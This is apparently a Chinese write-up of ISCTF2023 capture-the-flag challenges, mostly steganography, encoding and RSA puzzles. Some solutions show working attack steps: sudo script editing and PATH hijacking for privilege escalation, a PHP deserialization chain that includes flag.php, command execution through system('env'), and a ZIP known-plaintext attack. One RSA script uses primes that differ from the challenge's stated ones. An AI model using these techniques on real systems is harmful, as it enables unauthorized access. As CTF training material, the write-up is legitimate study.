ISCTF2023WP

MISC

你说爱我?尊嘟假嘟

image-20231129235230145

总共三种状态「你说爱我」「尊嘟」「假嘟」,考虑是 Ook!。至于那个对应哪个,情况不多,稍微试一下就知道了(其实不论是什么字符,Ook! 第一行都是 Ook.,所以「你说爱我」对应 Ook. 很容易知道)

你说爱我->Ook.

尊嘟->Ook!

假嘟->Ook?

不过替换完之后会有些没对齐,用脚本弄一下

1
2
3
4
5
6
import re

input_string = "Ook. Ook.Ook. Ook. Ook. ......."
output_string = re.sub(r'(?<! )O', ' O', input_string)

print(output_string)

https://ctf.bugku.com/tool/brainfuck

https://www.splitbrain.org/services/ook

解密得到

ild3l4pXejwPcCwJsPAOq7sJczdRdTsJcCEUsP1Z

image-20231130001954735

ISCTF{9832h-s92hw-23u7w-2j8s0}

小蓝鲨的秘密

小蓝鲨把自己的秘密藏起来了,你能发现小蓝鲨的秘密吗?

a796e0e66cf293d23a2e07d592d1a4c

发现是伪加密

image-20231201121927686

image-20231201125614510

flag.txt

1
2
3
可爱的小蓝鲨不知道这个字符串是什么,强大的你,你能告诉小蓝鲨吗?

U2FsdGVkX1/ij5Hxtt6G8tDvbXIQcMLJ6isLpLmxqxW8mOmFIB4DgBGXSR3ceEcj

图片

小蓝鲨

image-20231201125906809

image-20231201130011495

看到15CTF2023

http://www.esjson.com/aesEncrypt.html

image-20231201130118959

ISCTF{2832-3910-232-3742-7320}

杰伦可是流量明星

解压后得到的mp3查看二进制头,发现文件头为RAR头

修改后缀打开并解压缩

image-20231203225000351

得到login.pacpng

直接筛选http协议,搜到flag,url解码

image-20231201131923128

image-20231201132021805

image-20231201132337701

flag{wddhr836459_83}

easy_zip

简单的爆破密码

蓝鲨的福利

改文件头

Ez_misc

ppt是个好东西呐

image-20231201132714504

M13c_!ps2s23

这是密码

解压flag.zip出来后有一张图片

用010editor看看

image-20231201133042991

image-20231201133116011

image-20231201133241492

flag{5e093f8a-6b8c-4fa5-b9f7-0ae3b6b0da56}

spalshes

奇奇怪怪的数字,换个思路试试看

image-20231201234613523

image-20231201234806054

1
2
3
4
5
6
1,2.75,1,1,2.5,1,1,2.25,1,1,1.75,1,1,2,1,1,3,1,1.5,3,1,2,3,1,2,2.75,1,2,2.5,1,2,2.25,1,2,2,1,2,1.75,1,2,1.5,1,1,2.25,1,1.5,2.25,1,1,1.5,1,1.5,1.5,1,
4,2.75,1,4,2.5,1,3,3,1,3.5,3,1,4,3,1,3.5,2.25,1,4,2.25,1,4,2,1,4,1.75,1,4,1.5,1,3,1.5,1,3.5,1.5,1,3,2.25,1,3,2.5,1,3,2.75,1,
5,3,1,5.5,3,1,6,3,1,6,2.25,1,6,2,1,6,1.75,1,6,1.5,1,5.5,1.5,1,5,1.5,1,5,2.25,1,5.5,2.25,1,5,2.5,1,5,2.75,1,
7,3,1,7.5,3,1,8,3,1,8,2.5,1,8,2,1,8,1.5,1,8,2.75,1,8,2.25,1,8,1.75,1,
9,3,1,9.5,3,1,10,3,1,10,2.75,1,10,2.5,1,10,2.25,1,9.5,2.25,1,9,2.25,1,9,1.5,1,9.5,1.5,1,10,1.5,1,10,2,1,10,1.75,1,
11.5,3,1,12,3,1,11,3,1,12,2.25,1,12,2,1,12,1.75,1,12,1.5,1,11.5,1.5,1,11,1.5,1,11,1.75,1,11,2,1,11,2.25,1,11,2.5,1,11,2.75,1,11.5,2.25,1

base64加密,解密后的数字看不懂。。

爆破下压缩包,得到密码

image-20231201234750652

image-20231201234853602

ISCTF{8374-su23-9s7e-237s-js65-55sg}

小猫

小猫会把flag藏在哪里呢

首先binwalk分离出来一张图片,发现没啥东西,然后尝试对第一张照片进行lsb隐写查看

image-20231201143217297

然后在BGR处发现一个新图片,删掉前边的32fd后打开图片

image-20231203205244064

image-20231203205350020

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
key = [['富强','自由' ,'爱国'],['民主', '平等' ,'敬业'] ,['文明','公正','诚信'],['和谐','法治','友善']]
wdf = [ (3,2),(3,2),(3,2),(3,3),(3,1),(3,2),(2,1),
(3,2),(4,2),(4,2),(3,3),(2,1),(3,2),(2,1),
(3,2),(4,1),(3,2),(2,1),(4,1),(2,1),(4,1),
(2,3),(4,1),(2,2),(3,2),(3,2),(3,2),(1,2),
(4,1),(4,1),(3,2),(1,2),(4,1),(1,1),(3,2),
(3,2),(4,1),(3,1),(4,1),(4,1),(4,1),(2,3),
(4,1),(3,1),(4,1),(2,2),(4,1),(1,2),(4,1),
(1,3),(3,2),(1,2),(4,1),(1,1),(4,1),(3,1),
(4,1),(2,3),(4,1),(4,2),(4,1),(3,2),(4,1),
(4,2),(3,2),(1,2),(3,2),(3,1),(3,2),(3,2),
(4,1),(4,2),(4,1),(3,2),(4,1),(3,2),(4,2),
(4,3),(4,2)]
for i in wdf:
x = i[0]-1
y = i[1]-1
print(key[x][y],end='')
1
公正公正公正诚信文明公正民主公正法治法治诚信民主公正民主公正和谐公正民主和谐民主和谐敬业和谐平等公正公正公正自由和谐和谐公正自由和谐富强公正公正和谐文明和谐和谐和谐敬业和谐文明和谐平等和谐自由和谐爱国公正自由和谐富强和谐文明和谐敬业和谐法治和谐公正和谐法治公正自由公正文明公正公正和谐法治和谐公正和谐公正法治友善法治

http://anhao.tlrkl.top/hxjzg.html

image-20231201143341328

flag{aca195fd3d0f2392548d029767dbf766}

PNG的基本食用

image-20231201142237977

image-20231201142425618

part2 lsb

image-20231202001748275

part3看尾部

image-20231201142505933

两个拼接一起就是

ISCTF{png-is-so-ez-for-you}

镜流

法一:

带密码,不是伪加密,压缩方法为Store,加密算法为ZipCrypto,考虑明文攻击,图片为png图片,使用png文件头进行攻击

image-20231203205608218

image-20231203210302241

关于bkcrack的用法,-C是某个压缩包文件,-c 是该压缩包文件里的要攻击的已知部分明文的文件,-p 是已知明文(至少要12字节),-o是偏移量,文件头,所以是0

1
.\bkcrack -C .\timu.zip -c 1new.png -p .\png_header -o 0

image-20231203211438527

image-20231203220742569

image-20231201145323076

得到hint.txt

1
把图片缩小10倍
1
2
3
4
5
6
7
8
9
10
11
12
13
from PIL import Image

img = Image.open('1new.png')
w = img.width
h = img.height
img_obj = Image.new("RGB",(w//10,h//10))

for x in range(w//10):
for y in range(h//10):
(r,g,b)=img.getpixel((x*10,y*10))
img_obj.putpixel((x,y),(r,g,b))

img_obj.save('a.png')

image-20231201150152014

image-20231201150213597

然后lsb发现图片

image-20231201150809998

1
zsteg -E b1,rgb,lsb,xy a.png >b.png

image-20231201150759335

ISCTF{JINGLIU_IS_SO_COOL}

MCSOG-猫猫

ps:娱乐题,需加ISCTF比赛交流群,猫猫是关键词回复不是命令回显

image-20231201143611224

hint:猫猫说的话带有一大段意义不明的东西,试试在linux下用vim看看?

image-20231201143735883

这里有零宽字符

https://www.mzy0.com/ctftools/zerowidth1/

image-20231201143853666

ISCTF{[o]F0oO.LliI_Bu_D4Ng_r3N}

一心不可二用

小辉边敲代码边玩游戏,敲了两行代码就报错了,真的比彬彬还逊!

hint:远在天边,近在眼前

文件后缀改为.zip

右键查找文件,按照修改时间排序,除了三个签名文件外,很容易发现有一个flag.zip

/res/drawable目录下找到flag.zip

image-20231202001945896

image-20231203223243033

谷歌这个备注得到报错类型为SyntaxError,作为解压码打开文件

flag{Err0R_is_no7_ex1ste9}

小白小黑

小白说:zo23n,小黑说:f5s7e

hint:描述里面是不是有英语?

image-20231201152720451

看数据长度为256\*256就知道是画图,然后生成二维码,写个脚本 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from PIL import Image
# 创建一个256x256的灰度图像
img = Image.new('L', (256, 256))

# 打开文件并读取数据
with open('黑白.txt', 'r', encoding='utf-8') as f:
data = f.readlines()

# 遍历图像的每一个像素
for i in range(256):
for j in range(256):# 从数据中获取像素值并转换为整数
pixel_value = int(data[j][i])
img.putpixel((j, i), pixel_value)

# 保存图像
img.save('1.png')

image-20231201153013150

image-20231201153035539

ISCTF{4ac3a670-3ae5-4c2f-8cf2-0ee92d20ba3c}

方法二:

猜测白色为:zero one 2 3 nine

​ 黑色为:four 5 six 7 eight

01239替换为空格

stream

一名不知好歹的黑阔攻击了你的数据库,找到他干了什么!

导出http对象

image-20231201235052310

image-20231201235148224

根据盲注的数据,当圈出来的那一部分数据变化了,证明就是注入确定的数据,可以依次判断出确定的数据的ASCII码如下

1
73 83 67 84 70 123 48 111 112 115 33 45 89 48 117 45 70 49 110 100 45 84 104 51 45 83 51 99 114 101 116 45 102 108 97 103 33 33 33 125

image-20231201235239998

ISCTF{0ops!-Y0u-F1nd-Th3-S3cret-flag!!!}

ezUSB

张万森,下雪了

我可以和你一起回家看雪吗?

爆破密码dic.txt

得到密码

image-20231128210133203

blueSHARK666

flag.txt

image-20231128210313165

tip.txt一段非常长的数据

将他base64解码,一共解了十六次,发现第十七次的时候不行

image-20231130002730287

词频分析一下

发现类似密钥的ISCTFZ023,再观察flag.txt文件中有一些不可见信息,结合题目意思,猜测存在snow隐写

image-20231130002803413

https://blog.csdn.net/qq_53079406/article/details/123810053

image-20231130003144219

ISCTF{34da-a87s-sk87-s384-3982-398233}

EZcrc

hint: https://www.xuezimu.com.cn/info/26zimu.php

sudopy

小蓝鲨:什么年代了还在用传统cat flag?
ssh -p <端口号> <用户名>@<服务器地址>
登录凭证ctf:ctf

image-20231130230238622

1
ssh -p 20174 ctf@43.249.195.138 

image-20231130230505490

看看本地有什么东西

image-20231130230612495

1
sudo -l 	# 列出用户权限或检查某个特定命令 

image-20231130230636332

发现特定命令是使用python3运行web.py文件

web.py的文件权限允许我们读,我们看看里面写了什么内容

1
2
3
4
5
6
7
8
9
10
11
12
import webbrowser

def open_website(url):
try:
webbrowser.open(url)
print(f"Opening {url} in your default web browser...")
except Exception as e:
print(f"An error occurred: {e}")

website_url = "https://www.genshin.com"

open_website(website_url)

简单看一下,会发现没有用,我们换一下思路,看看能不能重新编辑web.py文件

1
vim web.py

把里面的内容修改为

1
2
3
import os

os.system('cat /home/ctf/flag')

image-20231130232130383

Beyond Hex, Meet Heptadecimal

我:给我来个自创的古典密码编码类型的题目
chatGPT:明白了,你想要一个编码题目,但它应该有一些非传统的编码方式。让我给你设计一个类似的题目。
你获得了一段看起来像是十六进制的字符串,但解码后得到的内容并不是预期的文本。你需要深入挖掘,并发现隐藏在其背后的秘密!

这是什么抽象题目,谁会做

1
2
3
4
5
6
7
8
9
table = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
data = "ID71QI6UV7NRV5ULVJDJ1PTVJDVINVBQUNT"
flag=""
for i in data:
flag+=bin(table.index(i))[2:].zfill(5)

for i in range(int(len(flag)/7)):
ascii_value = int(flag[i * 7:i * 7 + 7], 2)
print(chr(ascii_value), end="")

ISCTF{so_ez_flag_for_uuu}

status

image-20231130232331305

image-20231130232421997

image-20231130232538495

发现有个可执行还有s权限的checkgenshin文件,还有flag

我们先执行checkgenshin看看,会回显出什么

image-20231130232716078

这一个回显,再结合题目status,可以想到是查看ssh服务的状态

我们先执行命令,验证一下是不是

1
service ssh status

image-20231130232748181

这时候就能想到一种提权方法,环境变量,命令劫持

想都想到这了,我们试试

1
2
3
4
5
6
7
cd /tmp

echo 'cat /home/ctf/flag' > service

chmod +x service

export PATH=/tmp:$PATH

image-20231130233006119

Wonderful New World

WEB

圣杯战争!!!

image-20231201232615388

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
//highlight_file(__FILE__);
//error_reporting(0);

class artifact{
public $excalibuer;
public $arrow;
public function __toString(){
echo "为Saber选择了对的武器!<br>";
return $this->excalibuer->arrow;
}
}

class prepare{
public $release;
public function __get($key){
$functioin = $this->release;
echo "蓄力!咖喱棒!!<br>";
return $functioin();
}
}
class saber{
public $weapon = "php://filter/convert.base64-encode/resource=flag.php";
public function __invoke(){
echo "胜利!<br>";
include($this->weapon);
}
}
class summon{
public $Saber;
public $Rider;

public function __wakeup(){
echo "开始召唤从者!<br>";
echo $this->Saber;
}
}

//if(isset($_GET['payload'])){
// unserialize($_GET['payload']);
//}
$artifactObj = new artifact();
$prepareObj = new prepare();
$saberObj = new saber();
$summonObj = new summon();
$artifactObj->excalibuer=$prepareObj;
$prepareObj->release = $saberObj;
$summonObj->Saber = $artifactObj;
// 序列化并输出
$payload = serialize($summonObj);
echo urlencode($payload);
?>

where_is_the_flag

flag一分为3,散落在各处

image-20231129190744156

直接🐜🗡

image-20231129190808700

ISCTF{b6f6

image-20231129190827990

ff21-95f8-

第三个呢,可以看到这里有一个脚本

image-20231129191024525

image-20231129190909343

4045-93ae-9c4478367cff}

或者

1
1=system("env")

env

显示系统中已存在的环境变量

绕进你的心里

image-20231201234003994

1
2
3
4
5
6
7
import requests
url="http://43.249.195.138:21466/?hongmeng[]=1&shennong[]=2&zhurong[]=3"
data={
'pan_gu':'ddos'*300000+'2023ISCTF'
}
r=requests.post(url,data=data)
print(r.text)

image-20231201234159088

Crypto

夹里夹气

1
嘤嘤?嘤嘤? 嘤嘤?嘤嘤?嘤嘤? 嘤嘤嘤嘤嘤?嘤嘤嘤嘤嘤? 嘤嘤嘤 嘤嘤?嘤嘤?嘤嘤嘤嘤嘤? 嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤?嘤嘤嘤嘤嘤嘤 嘤嘤?嘤嘤?嘤嘤?嘤嘤? 嘤嘤?嘤嘤?嘤嘤? 嘤嘤嘤嘤嘤?嘤嘤?嘤嘤? 嘤嘤嘤嘤嘤?嘤嘤? 嘤嘤?嘤嘤?嘤嘤?嘤嘤? 嘤嘤?嘤嘤?嘤嘤嘤嘤嘤嘤嘤嘤?嘤嘤嘤 嘤嘤?嘤嘤?嘤嘤? 嘤嘤?嘤嘤?嘤嘤嘤嘤嘤? 嘤嘤?嘤嘤嘤嘤嘤嘤嘤嘤嘤 嘤嘤?嘤嘤?嘤嘤嘤嘤嘤嘤嘤嘤?嘤嘤嘤 嘤嘤?嘤嘤嘤嘤嘤嘤嘤嘤嘤 嘤嘤嘤嘤嘤?嘤嘤? 嘤嘤嘤嘤嘤? 嘤嘤?嘤嘤?嘤嘤嘤嘤嘤? 嘤嘤?嘤嘤嘤嘤嘤嘤嘤嘤嘤 嘤嘤?嘤嘤?嘤嘤嘤嘤嘤嘤嘤嘤?嘤嘤嘤 嘤嘤嘤嘤嘤?嘤嘤? 嘤嘤?嘤嘤嘤嘤嘤嘤嘤嘤嘤 嘤嘤嘤嘤嘤? 嘤嘤?嘤嘤?嘤嘤嘤嘤嘤? 嘤嘤?嘤嘤嘤嘤嘤嘤嘤嘤嘤 嘤嘤嘤嘤嘤?嘤嘤? 嘤嘤嘤嘤嘤嘤 嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤?嘤嘤嘤
1
.. ... -.-. - ..-. ----.-- .... ... -... -.. .... ..--.- ... ..-. .--- ..--.- .--- -.. -. ..-. .--- ..--.- -.. .--- -. ..-. .--- -.. -- -----.-s

嘤嘤嘤替换为-

嘤嘤?替换为.

ISCTF{HSBDH_SFJ_JDNFJ_DJNFJDM}

easy_rsa

1
2
3
4
5
你知道RSA的计算过程吗?
p=139744621266581284555301262509839742287349250409968703559081131232028924574561465768537643954928975481131355695687821012120490469005849145370624021549563652016543819238953037735482786294980123822036132614786850832066081704071615452263800051571853424753377904379848921799252996540245924266574230538558285742471
q=166495578748657854875237396069719295055448002754511883152125418561612611244017570110302773275437442022833722928258959000453627886016724285261001021493956977308452313495539853200240139966559029669154358433442980383189659342966998757607507977694433417547446337797754297431944215445741316720552642069422325184567
e=65537
c=17340021486214760389213758208588141127072486699272982410728163153401602395394464414919460177536802418266590027396961488858340991431268260733301955692277550978018123655702861855641782876680958276856499856079990782814550095512842172546462662651849234511968949790122961975823510636593490127183196460556566702823844240843409530810477077191235944238007848708049098241404482488338200425454968055209868379192089566433646332422458398997077449909634990973131210874996164136839543113590193936487789922528083407018996308707492837933253938012365528276750648018182426246833564761574591278308627246085238205159221848375550149778386

经典的一道rsa

1
2
3
4
5
6
7
8
9
10
11
12
import gmpy2
from Crypto.Util.number import long_to_bytes

e = 65537
p = 139744621266581284555301262509839742287349250409968703559081131232028924574561465768537643954928975481131355695687821012120490469005849145370624021549563652016543819238953037735482786294980123822036132614786850832066081704071615452263800051571853424753377904379848921799252996540245924266574230538558285742471
q = 166495578748657854875237396069719295055448002754511883152125418561612611244017570110302773275437442022833722928258959000453627886016724285261001021493956977308452313495539853200240139966559029669154358433442980383189659342966998757607507977694433417547446337797754297431944215445741316720552642069422325184567
c = 17340021486214760389213758208588141127072486699272982410728163153401602395394464414919460177536802418266590027396961488858340991431268260733301955692277550978018123655702861855641782876680958276856499856079990782814550095512842172546462662651849234511968949790122961975823510636593490127183196460556566702823844240843409530810477077191235944238007848708049098241404482488338200425454968055209868379192089566433646332422458398997077449909634990973131210874996164136839543113590193936487789922528083407018996308707492837933253938012365528276750648018182426246833564761574591278308627246085238205159221848375550149778386
n=p*q
phi_n=(p-1)*(q-1)
d=gmpy2.invert(e,phi_n)
m=pow(c,d,n)
print(long_to_bytes(m))

b’ISCTF{c64c27ea-fed1-4e46-929f-2b1f36884b9f}’

rsa_d

1
2
3
4
5
你知道RSA的计算过程吗?
p=94404481
q=40152251
e=65537
d=?
1
2
3
4
5
6
7
import gmpy2
p = 31075997
q = 12841601
e = 65537
d = gmpy2.invert(e,(p-1)*(q-1))
print(d)
# 276478470057473

image-20231202000833647